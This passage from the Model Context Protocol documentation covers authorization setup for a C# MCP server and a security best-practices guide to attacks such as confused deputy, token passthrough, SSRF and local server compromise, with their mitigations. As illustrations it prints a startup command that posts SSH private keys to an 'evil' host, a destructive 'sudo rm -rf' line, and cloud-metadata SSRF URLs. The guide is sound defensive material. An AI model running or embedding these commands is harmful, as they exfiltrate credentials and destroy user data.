ScopesSupported = ["mcp:tools"]
};
});
builder.Services.AddAuthorization();
builder.Services.AddHttpContextAccessor();
builder.Services.AddMcpServer()
.WithTools()
.WithHttpTransport();
var app = builder.Build();
app.UseAuthentication();
app.UseAuthorization();
app.MapMcp().RequireAuthorization();
Console.WriteLine($"Starting MCP server with authorization at {serverUrl}");
Console.WriteLine($"Using Keycloak server at {authorizationServerUrl}");
Console.WriteLine($"Protected Resource Metadata URL: {serverUrl}.well-known/oauth-protected-resource");
Console.WriteLine("Exposed Math tools: Add, Multiply");
Console.WriteLine("Press Ctrl+C to stop the server");
app.Run(serverUrl);
```
Fill `ProtectedMcpServer.csproj` with:
```xml theme={null}
net9.0enableenablelocal-authorization-mcp-server
```
In the `Tools` folder, create `MathTools.cs` and fill it with:
```csharp theme={null}
using System.ComponentModel;
using ModelContextProtocol.Server;
namespace ProtectedMcpServer.Tools;
[McpServerToolType]
public sealed class MathTools
{
[McpServerTool, Description("Add two numbers together.")]
public Task Add(
[Description("First operand")] double a,
[Description("Second operand")] double b)
{
return Task.FromResult(a + b);
}
[McpServerTool, Description("Multiply two numbers together.")]
public Task Multiply(
[Description("First operand")] double a,
[Description("Second operand")] double b)
{
return Task.FromResult(a * b);
}
}
```
Then from the server's root, run:
```bash theme={null}
dotnet run
```
For more details, see the [C# SDK documentation](https://github.com/modelcontextprotocol/csharp-sdk).
## Testing the MCP Server
For testing purposes, we will be using [Visual Studio Code](https://code.visualstudio.com), but any client that supports MCP and the new authorization specification will fit.
Press Cmd + Shift + P and select **MCP: Add server...**. Select **HTTP** and enter `http://localhost:3000`. Give the server a unique name to be used inside Visual Studio Code. In `mcp.json` you should now see an entry like this:
```json theme={null}
"my-mcp-server-18676652": {
"url": "http://localhost:3000",
"type": "http"
}
```
On connection, you will be taken to the browser, where you will be prompted to consent to Visual Studio Code having access to the `mcp:tools` scope.
After consenting, you will see the tools listed right above the server entry in `mcp.json`.
You will be able to invoke individual tools with the help of the `#` sign in the chat view.
## Common Pitfalls and How to Avoid Them
For comprehensive security guidance, including attack vectors, mitigation strategies, and implementation best practices, make sure to read through [Security Best Practices](/specification/2026-07-28/basic/security_best_practices). A few key issues are called out below.
* **Do not implement token validation or authorization logic by yourself**. Use off-the-shelf, well-tested, and secure libraries for things like token validation or authorization decisions. Doing everything from scratch means that you're more likely to implement things incorrectly unless you are a security expert.
* **Use short-lived access tokens**. Depending on the authorization server used, this setting might be customizable. We recommend to not use long-lived tokens - if a malicious actor steals them, they will be able to maintain their access for longer periods.
* **Always validate tokens**. Just because your server received a token does not mean that the token is valid or that it's meant for your server. Always verify that what your MCP server is getting from the client matches the required constraints.
* **Store tokens in secure, encrypted storage**. In certain scenarios, you might need to cache tokens server-side. If that is the case, ensure that the storage has the right access controls and cannot be easily exfiltrated by malicious parties with access to your server. You should also implement robust cache eviction policies to ensure that your MCP server is not re-using expired or otherwise invalid tokens.
* **Enforce HTTPS in production**. Do not accept tokens or redirect callbacks over plain HTTP except for `localhost` during development.
* **Least-privilege scopes**. Don't use catch‑all scopes. Split access per tool or capability where possible and verify required scopes per route/tool on the resource server.
* **Don't log credentials**. Never log `Authorization` headers, tokens, codes, or secrets. Scrub query strings and headers. Redact sensitive fields in structured logs.
* **Separate app vs. resource server credentials**. Don't reuse your MCP server's client secret for end‑user flows. Store all secrets in a proper secret manager, not in source control.
* **Return proper challenges**. On 401, include `WWW-Authenticate` with `Bearer`, `realm`, and `resource_metadata` so clients can discover how to authenticate.
* **DCR (Dynamic Client Registration) controls**. If enabled, be aware of constraints specific to your organization, such as trusted hosts, required vetting, and audited registrations. Unauthenticated DCR means that anyone can register any client with your authorization server.
* **Multi‑tenant/realm mix-ups**. Pin to a single issuer/tenant unless explicitly multi‑tenant. Reject tokens from other realms even if signed by the same authorization server.
* **Audience/resource indicator misuse**. Don't configure or accept generic audiences (like `api`) or unrelated resources. Require the audience/resource to match your configured server.
* **Error detail leakage**. Return generic messages to clients, but log detailed reasons with correlation IDs internally to aid troubleshooting without exposing internals.
* **Session identifier hardening**. Treat `Mcp-Session-Id` as untrusted input; never tie authorization to it. Regenerate on auth changes and validate lifecycle server‑side.
## Related Standards and Documentation
MCP authorization builds on these well-established standards:
* **[OAuth 2.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13)**: The core authorization framework
* **[RFC 8414](https://datatracker.ietf.org/doc/html/rfc8414)**: Authorization Server Metadata discovery
* **[RFC 7591](https://datatracker.ietf.org/doc/html/rfc7591)**: Dynamic Client Registration
* **[RFC 9728](https://datatracker.ietf.org/doc/html/rfc9728)**: Protected Resource Metadata
* **[RFC 8707](https://datatracker.ietf.org/doc/html/rfc8707)**: Resource Indicators
For additional details, refer to:
* [Authorization Specification](/specification/2026-07-28/basic/authorization)
* [Security Best Practices](/specification/2026-07-28/basic/security_best_practices)
* [Available MCP SDKs](/docs/2026-07-28/sdk)
Understanding these standards will help you implement authorization correctly and troubleshoot issues when they arise.
# Security Best Practices
Source: https://modelcontextprotocol.io/docs/2026-07-28/tutorials/security/security_best_practices
Security considerations, attack vectors, and best practices for MCP implementations
## Introduction
### Purpose and Scope
This document provides security considerations for the Model Context
Protocol (MCP), complementing the
[MCP Authorization](/specification/latest/basic/authorization)
specification. This document identifies security risks, attack vectors,
and best practices specific to MCP implementations.
The primary audience for this document includes developers implementing
MCP authorization flows, MCP server operators, and security
professionals evaluating MCP-based systems. This document should be read
alongside the MCP Authorization specification and
[OAuth 2.0 security best practices](https://datatracker.ietf.org/doc/html/rfc9700).
## Attacks and Mitigations
This section gives a detailed description of attacks on MCP
implementations, along with potential countermeasures.
### Confused Deputy Problem
Attackers can exploit MCP proxy servers that connect to third-party
APIs, creating
"[confused deputy](https://en.wikipedia.org/wiki/Confused_deputy_problem)"
vulnerabilities. This attack allows malicious clients to obtain
authorization codes without proper user consent by exploiting the
combination of static client IDs, dynamic client registration, and
consent cookies.
#### Terminology
**MCP Proxy Server**
: An MCP server that connects MCP clients to third-party APIs, offering
MCP features while delegating operations and acting as a single OAuth
client to the third-party API server.
**Third-Party Authorization Server**
: Authorization server that protects the third-party API. It may lack
dynamic client registration support, requiring the MCP proxy to use a
static client ID for all requests.
**Third-Party API**
: The protected resource server that provides the actual API
functionality. Access to this API requires tokens issued by the
third-party authorization server.
**Static Client ID**
: A fixed OAuth 2.0 client identifier used by the MCP proxy server when
communicating with the third-party authorization server. This Client ID
refers to the MCP server acting as a client to the Third-Party API. It
is the same value for all MCP server to Third-Party API interactions
regardless of which MCP client initiated the request.
#### Vulnerable Conditions
This attack becomes possible when all of the following conditions are
present:
* MCP proxy server uses a **static client ID** with a third-party
authorization server
* MCP proxy server allows MCP clients to **dynamically register** (each
getting their own client\_id)
* The third-party authorization server sets a **consent cookie** after
the first authorization
* MCP proxy server does not implement proper per-client consent before
forwarding to third-party authorization
#### Architecture and Attack Flows
##### Normal OAuth proxy usage (preserves user consent)
```mermaid theme={null}
sequenceDiagram
participant UA as User-Agent (Browser)
participant MC as MCP Client
participant M as MCP Proxy Server
participant TAS as Third-Party Authorization Server
Note over UA,M: Initial Auth flow completed
Note over UA,TAS: Step 1: Legitimate user consent for Third Party Server
M->>UA: Redirect to third party authorization server
UA->>TAS: Authorization request (client_id: mcp-proxy)
TAS->>UA: Authorization consent screen
Note over UA: Review consent screen
UA->>TAS: Approve
TAS->>UA: Set consent cookie for client ID: mcp-proxy
TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com
UA->>M: 3P Authorization code
Note over M,TAS: Exchange 3P code for 3P token
Note over M: Generate MCP authorization code
M->>UA: Redirect to MCP Client with MCP authorization code
Note over M,UA: Exchange code for token, etc.
```
##### Malicious OAuth proxy usage (skips user consent)
```mermaid theme={null}
sequenceDiagram
participant UA as User-Agent (Browser)
participant M as MCP Proxy Server
participant TAS as Third-Party Authorization Server
participant A as Attacker
Note over UA,A: Step 2: Attack (leveraging existing cookie, skipping consent)
A->>M: Dynamically register malicious client, redirect_uri: attacker.com
A->>UA: Sends malicious link
UA->>TAS: Authorization request (client_id: mcp-proxy) + consent cookie
rect rgba(255, 17, 0, 0.67)
TAS->>TAS: Cookie present, consent skipped
end
TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com
UA->>M: 3P Authorization code
Note over M,TAS: Exchange 3P code for 3P token
Note over M: Generate MCP authorization code
M->>UA: Redirect to attacker.com with MCP Authorization code
UA->>A: MCP Authorization code delivered to attacker.com
Note over M,A: Attacker exchanges MCP code for MCP token
A->>M: Attacker impersonates user to MCP server
```
#### Attack Description
When an MCP proxy server uses a static client ID to authenticate with
a third-party authorization server, the following attack becomes
possible:
1. A user authenticates normally through the MCP proxy server to access
the third-party API
2. During this flow, the third-party authorization server sets a cookie
on the user agent indicating consent for the static client ID
3. An attacker later sends the user a malicious link containing a
crafted authorization request which contains a malicious redirect URI
along with a new dynamically registered client ID
4. When the user clicks the link, their browser still has the consent
cookie from the previous legitimate request
5. The third-party authorization server detects the cookie and skips the
consent screen
6. The MCP authorization code is redirected to the attacker's server
(specified in the malicious `redirect_uri` parameter during
[dynamic client registration](/specification/latest/basic/authorization#dynamic-client-registration))
7. The attacker exchanges the stolen authorization code for access
tokens for the MCP server without the user's explicit approval
8. The attacker now has access to the third-party API as the compromised
user
#### Mitigation
To prevent confused deputy attacks, MCP proxy servers **MUST** implement
per-client consent and proper security controls as detailed below.
##### Consent Flow Implementation
The following diagram shows how to properly implement per-client consent
that runs **before** the third-party authorization flow:
```mermaid theme={null}
sequenceDiagram
participant Client as MCP Client
participant Browser as User's Browser
participant MCP as MCP Server
participant ThirdParty as Third-Party AuthZ Server
Note over Client,ThirdParty: 1. Client Registration (Dynamic)
Client->>MCP: Register with redirect_uri
MCP-->>Client: client_id
Note over Client,ThirdParty: 2. Authorization Request
Client->>Browser: Open MCP server authorization URL
Browser->>MCP: GET /authorize?client_id=...&redirect_uri=...
alt Check MCP Server Consent
MCP->>MCP: Check consent for this client_id
Note over MCP: Not previously approved
end
MCP->>Browser: Show MCP server-owned consent page
Note over Browser: "Allow [Client Name] to access [Third-Party API]?"
Browser->>MCP: POST /consent (approve)
MCP->>MCP: Store consent decision for client_id
Note over Client,ThirdParty: 3. Forward to Third-Party
MCP->>Browser: Redirect to third-party /authorize
Note over MCP: Use static client_id for third-party
Browser->>ThirdParty: Authorization request (static client_id)
ThirdParty->>Browser: User authenticates & consents
ThirdParty->>Browser: Redirect with auth code
Browser->>MCP: Callback with third-party code
MCP->>ThirdParty: Exchange code for token (using static client_id)
MCP->>Browser: Redirect to client's registered redirect_uri
```
##### Required Protections
**Per-Client Consent Storage**
MCP proxy servers **MUST**:
* Maintain a registry of approved `client_id` values per user
* Check this registry **before** initiating the third-party
authorization flow
* Store consent decisions securely (server-side database, or server
specific cookies)
**Consent UI Requirements**
The MCP-level consent page **MUST**:
* Clearly identify the requesting MCP client by name
* Display the specific third-party API scopes being requested
* Show the registered `redirect_uri` where tokens will be sent
* Implement CSRF protection (e.g., state parameter, CSRF tokens)
* Prevent iframing via `frame-ancestors` CSP directive or
`X-Frame-Options: DENY` to prevent clickjacking
**Consent Cookie Security**
If using cookies to track consent decisions, they **MUST**:
* Use `__Host-` prefix for cookie names
* Set `Secure`, `HttpOnly`, and `SameSite=Lax` attributes
* Be cryptographically signed or use server-side sessions
* Bind to the specific `client_id` (not just "user has consented")
**Redirect URI Validation**
The MCP proxy server **MUST**:
* Validate that the `redirect_uri` in authorization requests exactly
matches the registered URI
* Reject requests if the `redirect_uri` has changed without
re-registration
* Use exact string matching (not pattern matching or wildcards)
**OAuth State Parameter Validation**
The OAuth `state` parameter is critical to prevent authorization code
interception and CSRF attacks. Proper state validation ensures that
consent approval at the authorization endpoint is enforced at the
callback endpoint.
MCP proxy servers implementing OAuth flows **MUST**:
* Generate a cryptographically secure random `state` value for each
authorization request
* Store the `state` value server-side (in a secure session store or
encrypted cookie) **only after** consent has been explicitly approved
* Set the `state` tracking cookie/session **immediately before**
redirecting to the third-party identity provider (not before consent
approval)
* Validate at the callback endpoint that the `state` query parameter
exactly matches the stored value in the callback request's cookies or
in the request's cookie-based session
* Reject any callback requests where the `state` parameter is missing
or does not match
* Ensure `state` values are single-use (delete after validation) and
have a short expiration time (e.g., 10 minutes)
The consent cookie or session containing the `state` value **MUST NOT**
be set until **after** the user has approved the consent screen at the
MCP server's authorization endpoint. Setting this cookie before consent
approval renders the consent screen ineffective, as an attacker could
bypass it by crafting a malicious authorization request.
### Token Passthrough
"Token passthrough" is an anti-pattern where an MCP server accepts
tokens from an MCP client without validating that the tokens were
properly issued *to the MCP server* and passes them through to the
downstream API.
An attacker can gain unauthorized access or otherwise compromise an
MCP server if the server accepts tokens issued for other resources.
This vulnerability has two critical dimensions:
1. **Audience validation failures.** When an MCP server doesn't verify
that tokens were specifically intended for it (for example, via the
audience claim, as mentioned in
[RFC9068](https://www.rfc-editor.org/rfc/rfc9068.html)), it may
accept tokens originally issued for other services. This breaks a
fundamental OAuth security boundary, allowing attackers to reuse
legitimate tokens across different services than intended.
2. **Token passthrough.** If the MCP server not only accepts tokens
with incorrect audiences but also forwards these unmodified tokens
to downstream services, it can potentially cause the
["confused deputy" problem](#confused-deputy-problem), where the
downstream API may incorrectly trust the token as if it came from
the MCP server or assume the token was validated by the upstream
API.
#### Risks
Token passthrough is explicitly forbidden in the
[authorization specification](/specification/latest/basic/authorization)
as it introduces a number of security risks, that include:
* **Security Control Circumvention**
* The MCP Server or downstream APIs might implement important security
controls like rate limiting, request validation, or traffic
monitoring, that depend on the token audience or other credential
constraints. If clients can obtain and use tokens directly with the
downstream APIs without the MCP server validating them properly or
ensuring that the tokens are issued for the right service, they
bypass these controls.
* **Accountability and Audit Trail Issues**
* The MCP Server will be unable to identify or distinguish between MCP
Clients when clients are calling with an upstream-issued access token
which may be opaque to the MCP Server.
* The downstream Resource Server's logs may show requests that appear
to come from a different source with a different identity, rather
than the MCP server that is actually forwarding the tokens.
* Both factors make incident investigation, controls, and auditing
more difficult.
* If the MCP Server passes tokens without validating their claims
(e.g., roles, privileges, or audience) or other metadata, a
malicious actor in possession of a stolen token can use the server
as a proxy for data exfiltration.
* **Trust Boundary Issues**
* The downstream Resource Server grants trust to specific entities.
This trust might include assumptions about origin or client behavior
patterns. Breaking this trust boundary could lead to unexpected
issues.
* If the token is accepted by multiple services without proper
validation, an attacker compromising one service can use the token
to access other connected services.
* **Future Compatibility Risk**
* Even if an MCP Server starts as a "pure proxy" today, it might need
to add security controls later. Starting with proper token audience
separation makes it easier to evolve the security model.
#### Mitigation
MCP servers **MUST NOT** accept any tokens that were not explicitly
issued for the MCP server.
### Server-Side Request Forgery (SSRF)
Server-Side Request Forgery (SSRF) is an attack where an attacker can
induce an MCP client to make HTTP requests to unintended destinations,
potentially accessing internal network resources, cloud metadata
endpoints, or other protected services.
#### Attack Description
During OAuth metadata discovery, MCP clients fetch URLs from several
sources that could be controlled by a malicious MCP server:
1. The `resource_metadata` URL from the `WWW-Authenticate` header
2. The `authorization_servers` URLs from the Protected Resource Metadata
document
3. The `token_endpoint`, `authorization_endpoint`, and other URLs from
Authorization Server Metadata
A malicious MCP server can populate these fields with URLs pointing to
internal resources, enabling the following attack patterns:
* **Direct internal IP access**: URLs like `http://192.168.1.1/admin` or
`http://10.0.0.1/api` target internal network services
* **Cloud metadata endpoints**: URLs targeting
`http://169.254.169.254/` (AWS/GCP/Azure metadata service) can
exfiltrate cloud credentials and instance information
* **Localhost services**: URLs like `http://localhost:6379/` can interact
with local services (Redis, databases, admin panels)
* **DNS rebinding**: Domains that change DNS resolution between
validation and use (e.g., `https://attacker.com` resolving to a safe
IP initially, then to `192.168.1.1`)
* **Redirect chains**: Normal-looking URLs that redirect to internal
resources
```mermaid theme={null}
sequenceDiagram
participant Client as MCP Client
participant MCP as Malicious MCP Server
participant Internal as Internal Service
Client->>MCP: Connect to MCP server
MCP-->>Client: 401 + resource_metadata="http://169.254.169.254/..."
Note over Client: Client follows URL without validation
Client->>Internal: GET http://169.254.169.254/latest/meta-data/
Internal-->>Client: Cloud credentials/metadata
Note over Client: Error or response details leak to attacker
Client->>MCP: Subsequent request with error details
```
#### Risks
* **Credential exfiltration**: Cloud metadata endpoints often expose
IAM credentials, API keys, and other secrets
* **Internal network reconnaissance**: Error messages reveal information
about internal network topology and services
* **Service interaction**: POST requests (e.g., to token endpoints) can
trigger mutations on internal services
* **Firewall bypass**: The MCP client acts as a proxy, bypassing network
perimeter controls
* **Data exfiltration**: Internal service responses may be reflected back
to attackers through error messages or OAuth flows
#### Mitigation
MCP clients deployed to a server **MUST** consider SSRF risks and
implement appropriate mitigations when fetching OAuth-related URLs.
Which protections are appropriate depend on your network environment.
**Enforce HTTPS**
MCP clients **SHOULD** require HTTPS for all OAuth-related URLs in
production environments:
* Reject `http://` URLs except for loopback addresses (`localhost`,
`127.0.0.1`, `::1`) during development
* This aligns with
[OAuth 2.1 Section 1.5](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-1.5)
which requires HTTPS for all OAuth protocol URLs except loopback
redirect URIs
* Provide an explicit opt-out mechanism for development/testing
scenarios
**Block Private IP Ranges**
MCP clients **SHOULD** block requests to private and reserved IP address
ranges as recommended by
[RFC 9728 Section 7.7](https://datatracker.ietf.org/doc/html/rfc9728#section-7.7):
* Private IPv4 ranges: `10.0.0.0/8`, `172.16.0.0/12`,
`192.168.0.0/16`
* Loopback: `127.0.0.0/8`, `::1` (except when explicitly allowed for
development)
* Link-local: `169.254.0.0/16` (including cloud metadata endpoints)
* Private IPv6 ranges: `fc00::/7`, `fe80::/10`
Avoid implementing IP validation manually. Attackers exploit encoding tricks
(octal, hex, IPv4-mapped IPv6) that custom parsers often miss.
**Validate Redirect Targets**
MCP clients **SHOULD** apply the same URL validation to redirect
targets:
* Do not blindly follow redirects to internal resources
* Apply HTTPS and IP range restrictions to redirect destinations
* Consider disabling automatic redirect following and validating each
hop
**Use Egress Proxies**
For server-side MCP client deployments, operators **SHOULD** consider
using an egress proxy that enforces network policies:
* Route OAuth discovery requests through a proxy that blocks internal
destinations
* Use tools like
[Smokescreen](https://github.com/stripe/smokescreen) or similar
egress proxies that prevent SSRF by design
* Configure network policies to restrict the MCP client's outbound
access
**DNS Resolution Considerations**
Be aware of Time-of-Check to Time-of-Use (TOCTOU) issues with
DNS-based validation:
* An attacker's domain may resolve to a safe IP during validation but
to an internal IP during the actual request
* Consider pinning DNS resolution results between check and use
* Defense in depth: combine DNS checks with other mitigations
#### SSRF Against Authorization Servers
SSRF risks are not limited to MCP clients. When an authorization
server supports
[Client ID Metadata Documents](/specification/2026-07-28/basic/authorization/client-registration#client-id-metadata-documents),
the authorization server takes a URL as input from an unknown client
and fetches that URL. A malicious client could use this to trigger
the authorization server to make requests to arbitrary URLs, such as
requests to private administration endpoints the authorization server
has access to.
The mitigations described above, such as blocking private IP ranges
and using egress proxies, apply equally to authorization servers
fetching client metadata documents. See
[Server Side Request Forgery (SSRF) Attacks](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00#name-server-side-request-forgery)
in the Client ID Metadata Document specification for further
guidance.
#### Resources and Tools
The following resources can help developers implement SSRF protections
in MCP clients.
**Reference Documentation**
* [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html):
Comprehensive guidance on SSRF prevention techniques, including input
validation, allowlist strategies, and network-level controls
* [OWASP Top 10 A10:2021 - SSRF](https://owasp.org/Top10/2021/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/):
SSRF in the context of the most critical web application security
risks
### State Handle Hijacking
MCP is [stateless](/specification/2026-07-28/basic/index#statelessness) and
has no protocol-level sessions. Servers that need state spanning
multiple requests mint an explicit handle, such as a shopping cart ID
or a workflow ID, and receive it back as an ordinary tool argument on
each request. State handle hijacking is an attack vector where an
unauthorized party obtains or guesses such a handle and uses it to
access or modify another user's state.
#### Attack Description
1. The MCP server mints a state handle for an authenticated user and
returns it in a tool result.
2. The attacker obtains or guesses the handle.
3. The attacker calls the MCP server's tools with the handle as an
argument.
4. The MCP server does not check whether the handle belongs to the
caller and operates on the original user's state, allowing
unauthorized access or actions.
#### Mitigation
MCP servers that implement authorization **MUST** verify all inbound
requests. MCP servers **MUST NOT** treat possession of a state handle
as authentication.
MCP servers **SHOULD** use secure, non-deterministic handles generated
with secure random number generators. Avoid predictable or sequential
identifiers that could be guessed by an attacker. Expiring handles can
also reduce the risk.
MCP servers **SHOULD** bind handles server-side to the authenticated
user, for example by keying stored state as `:` where
the user ID is derived from the verified token rather than supplied by
the client, and reject a handle presented by any other principal. This
ensures that even if an attacker guesses a handle, they cannot
impersonate another user.
For guidance on securing the server-assigned session IDs used by
protocol version `2025-11-25` and earlier, see
[Session Hijacking in the 2025-11-25 version of this page](/docs/2025-11-25/tutorials/security/security_best_practices#session-hijacking).
### Local MCP Server Compromise
Local MCP servers are MCP Servers running on a user's local machine,
either by the user downloading and executing a server, authoring a
server themselves, or installing through a client's configuration flows.
These servers may have direct access to the user's system and may be
accessible to other processes running on the user's machine, making them
attractive targets for attacks.
#### Attack Description
Local MCP servers are binaries that are downloaded and executed on the
same machine as the MCP client. Without proper sandboxing and consent
requirements in place, the following attacks become possible:
1. An attacker includes a malicious "startup" command in a client
configuration
2. An attacker distributes a malicious payload inside the server itself
3. An attacker accesses an insecure local server that's left running on
localhost via DNS rebinding
Example malicious startup commands that could be embedded:
```bash theme={null}
# Data exfiltration
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location
# Privilege escalation
sudo rm -rf /important/system/files && echo "MCP server installed!"
```
#### Risks
Local MCP servers with inadequate restrictions or from untrusted sources
introduce several critical security risks:
* **Arbitrary code execution**. Attackers can execute any command with
MCP client privileges.
* **No visibility**. Users have no insight into what commands are being
executed.
* **Command obfuscation**. Malicious actors can use complex or
convoluted commands to appear legitimate.
* **Data exfiltration**. Attackers can access legitimate local MCP
servers via compromised JavaScript.
* **Data loss**. Attackers or bugs in legitimate servers could lead to
irrecoverable data loss on the host machine.
#### Mitigation
If an MCP client supports one-click local MCP server configuration, it
**MUST** implement proper consent mechanisms prior to executing commands.
**Pre-Configuration Consent**
Display a clear consent dialog before connecting a new local MCP server
via one-click configuration. The MCP client **MUST**:
* Show the exact command that will be executed, without truncation
(include arguments and parameters)
* Clearly identify it as a potentially dangerous operation that executes
code on the user's system
* Require explicit user approval before proceeding
* Allow users to cancel the configuration
The MCP client **SHOULD** implement additional checks and guardrails to
mitigate potential code execution attack vectors:
* Highlight potentially dangerous command patterns (e.g., commands
containing `sudo`, `rm -rf`, network operations, file system access
outside expected directories)
* Display warnings for commands that access sensitive locations (home
directory, SSH keys, system directories)
* Warn that MCP servers run with the same privileges as the client
* Execute MCP server commands in a sandboxed environment with minimal
default privileges
* Launch MCP servers with restricted access to the file system, network,
and other system resources
* Provide mechanisms for users to explicitly grant additional privileges
(e.g., specific directory access, network access) when needed
* Use platform-appropriate sandboxing technologies (containers, chroot,
application sandboxes, etc.)
* Keep sandboxing solutions up-to-date to account for emerging
vulnerabilities
MCP servers intending for their servers to be run locally **SHOULD**
implement measures to prevent unauthorized usage from malicious
processes:
* Use the `stdio` transport to limit access to just the MCP client
* Restrict access if using an HTTP transport, such as:
* Require an authorization token
* Use unix domain sockets or other Interprocess Communication (IPC)
mechanisms with restricted access
### OAuth Authorization URL Validation
OAuth authorization URLs provided by malicious MCP servers can exploit client-side URL handling vulnerabilities, leading to Cross-Site Scripting (XSS) attacks and Remote Code Execution (RCE).
#### Attack Description
During the OAuth authorization flow, MCP servers provide authorization URLs that clients open in browsers or handle programmatically. Malicious servers can exploit insufficient URL validation in MCP clients through the following attack vectors:
**JavaScript URL Injection (XSS)**
1. A malicious MCP server provides a `javascript:` URL as the authorization endpoint
2. The MCP client passes this URL directly to `window.open()` or similar browser APIs
3. The browser executes the JavaScript code embedded in the URL
4. The attacker gains JavaScript execution context within the client application, potentially leading to session hijacking, credential theft, or further exploitation
**Command Injection via Shell Execution**
1. A malicious MCP server provides a URL containing shell command injection payloads
2. The MCP client uses shell commands (e.g., `cmd.exe`, PowerShell, or shell scripts) to open the URL
3. The shell interprets parts of the URL as additional commands to execute
4. The attacker achieves arbitrary code execution on the user's system
**stdio Transport Privilege Escalation**
When XSS vulnerabilities are combined with `stdio` transport capabilities,
attackers can escalate web-based attacks to full system compromise. See
[stdio Transport Security in Proxy Scenarios](#stdio-transport-security-in-proxy-scenarios)
for detailed attack vectors and mitigations.
```mermaid theme={null}
sequenceDiagram
participant MaliciousMCP as Malicious MCP Server
participant Client as MCP Client
participant Proxy as MCP Proxy
participant System as Host System
MaliciousMCP->>Client: Malicious authorization URL (javascript:)
Client->>Client: Execute JavaScript (XSS)
Client->>Client: Extract proxy auth token
Client->>Proxy: Malicious stdio command request
Note over Client,Proxy: Using stolen authentication token
Proxy->>System: Execute arbitrary command
System-->>Proxy: Command output
Proxy-->>Client: Command result
Client-->>MaliciousMCP: Exfiltrate data/establish persistence
```
#### Risks
OAuth authorization URL vulnerabilities introduce several critical security risks:
* **Cross-Site Scripting (XSS)**. Malicious JavaScript execution can lead to session hijacking, credential theft, and unauthorized actions within the client application.
* **Remote Code Execution (RCE)**. Command injection through shell execution allows attackers to run arbitrary code with user privileges.
* **Privilege Escalation**. XSS combined with `stdio` transport can escalate web-based attacks to full system compromise.
* **Data Exfiltration**. Attackers can access sensitive data, configuration files, and credentials stored on the user's system.
* **Persistence**. Attackers can install malware, create backdoors, or modify system configurations for persistent access.
#### Mitigation
**URL Scheme Validation**
MCP clients **MUST** validate authorization URLs and reject dangerous schemes:
* **MUST** only allow `http://` and `https://` schemes for authorization URLs.
The `http://` scheme is acceptable only for loopback addresses (such as
`localhost`, `127.0.0.1`, or `::1`) during local development; authorization
servers in production **MUST** use `https://`.
* **MUST** reject `javascript:`, `data:`, `file:`, `vbscript:`, and other potentially dangerous schemes
* **SHOULD** use allowlist-based validation rather than blocklist-based approaches
**Secure URL Opening**
MCP clients **MUST** avoid shell execution when opening URLs:
* **MUST NOT** use shell commands (e.g., `cmd.exe`, `sh`, PowerShell) to open URLs
* **SHOULD** use platform-specific, non-shell URL opening mechanisms
**Content Security Policy (CSP)**
Web-based MCP clients **SHOULD** implement Content Security Policy headers to prevent JavaScript execution:
* Set `script-src 'self'` to prevent execution of inline JavaScript
* Use `default-src 'self'` to restrict resource loading
* Consider `script-src 'nonce-'` for dynamic content that requires inline scripts
**Input Sanitization**
MCP clients **MUST** sanitize and validate all URLs received from MCP servers:
* Implement strict URL parsing and validation
* Reject URLs with special characters that could be interpreted by shells
* Consider using dedicated URL sanitization libraries
* Log suspicious authorization URLs for security monitoring
### stdio Transport Security in Proxy Scenarios
The `stdio` transport itself is not inherently vulnerable. However, in proxy architectures where a separate proxy service manages `stdio` connections and can spawn MCP servers as child processes, it can provide a critical escalation path from web-based attacks to full system compromise.
#### Attack Description
**Important**: This attack vector only applies to MCP implementations that use a proxy architecture, not to direct `stdio` transport usage.
In proxy-based MCP implementations, a local proxy service sits between the client and MCP servers, spawning servers as child processes via the `stdio` transport. This architecture creates a privileged escalation path when combined with client-side vulnerabilities:
1. Attacker achieves XSS or other client-side code execution (e.g., through OAuth URL vulnerabilities)
2. Using the attack vector above, the malicious actor accesses the MCP proxy authentication token established between the client and the proxy from the client's environment
3. Malicious actor makes authenticated requests to the local MCP proxy service
4. Proxy spawns arbitrary commands via the `stdio` transport (believing they are legitimate MCP server commands)
5. Attacker achieves Remote Code Execution with user privileges
#### Risks
* **Privilege Escalation**. Web-based vulnerabilities (XSS) can escalate to arbitrary code execution on the host system through proxy command execution
* **Authentication Bypass**. Stolen proxy authentication tokens allow unauthorized access to stdio process spawning capabilities
* **System Compromise**. Attackers can execute any command that the MCP proxy process has privileges to run
#### Mitigation
The primary defense is to prevent classes of vulnerabilities that enable this attack vector:
* Implement the mitigations described in [OAuth Authorization URL Validation](#oauth-authorization-url-validation)
* Use Content Security Policy (CSP) to prevent JavaScript execution from untrusted sources
* Validate and sanitize all input from MCP servers before processing
Since XSS fundamentally compromises the client's security context, focus on limiting the damage:
**stdio Transport Restrictions**
MCP proxy services **SHOULD** implement additional security controls for `stdio` transport:
* Implement sandboxing or containerization for spawned processes
* Restrict file system access for spawned MCP servers
* Log all `stdio` transport usage for security monitoring
* Require additional authorization for potentially dangerous commands
**Client-Side Protections**
MCP clients **SHOULD** implement defense-in-depth measures:
* Isolate proxy communication in a separate security context when possible
* Use principle of least privilege for proxy process permissions
* Implement process-level sandboxing for the proxy service itself
* Consider running the proxy in a container or restricted environment
### Mix-Up Attacks
#### Attack Description
An MCP client typically interacts with many authorization servers
over its lifetime. An attacker that controls one of those
authorization servers may attempt to have the client send it an
authorization code or token issued by a different, honest
authorization server (a mix-up attack, described in
[RFC9207 Section 1](https://datatracker.ietf.org/doc/html/rfc9207#section-1)).
#### Mitigation
[Authorization Response Validation](/specification/2026-07-28/basic/authorization#authorization-response-validation)
mitigates this by binding the response to the authorization server
the client recorded before redirecting, so the authorization code
cannot be redeemed at an unintended token endpoint. PKCE alone does
not prevent this attack because the client transmits the
`code_verifier` to the attacker's token endpoint. Resource indicators
do not help when the attacker's authorization server is intercepting
requests before they hit the honest authorization server. This
mitigation depends on honest authorization servers emitting `iss`; it
provides no protection against an honest server that does not.
### Localhost Redirect URI Impersonation
Native and locally-running MCP clients commonly use `localhost`
redirect URIs. When clients identify themselves with
[Client ID Metadata Documents](/specification/2026-07-28/basic/authorization/client-registration#client-id-metadata-documents),
the metadata document proves control of a domain, but it cannot prove
which local process is listening on a `localhost` redirect URI.
#### Attack Description
